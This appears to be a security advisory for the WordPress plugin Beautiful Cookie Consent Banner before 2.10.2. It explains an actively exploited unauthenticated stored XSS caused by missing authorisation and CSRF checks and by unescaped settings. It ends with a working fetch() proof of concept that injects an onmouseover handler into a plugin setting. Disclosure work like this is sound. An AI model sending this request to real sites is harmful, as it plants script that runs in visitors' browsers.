Beautiful Cookie Consent Banner < 2.10.2 – Unauthenticated Stored XSS

Description

The plugin does not have authorisation and CSRF check when updating its settings, and does not escape some of them when outputting them, which could allow unauthenticated attackers to perform Stored Cross-Site Scripting attacks. An initial fix was released in version 2.10.1, and completed in 2.10.2.

Note: The issue is being actively exploited

Proof of Concept

On version < 2.10.1:

```
fetch("wp-admin/admin-post.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "nsc_bar_content_href=http%3A%2F%2Fyourdomain%2Fdataprivacy%22+onmouseover%3D%22alert%28%2FXSS%2F%29",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
```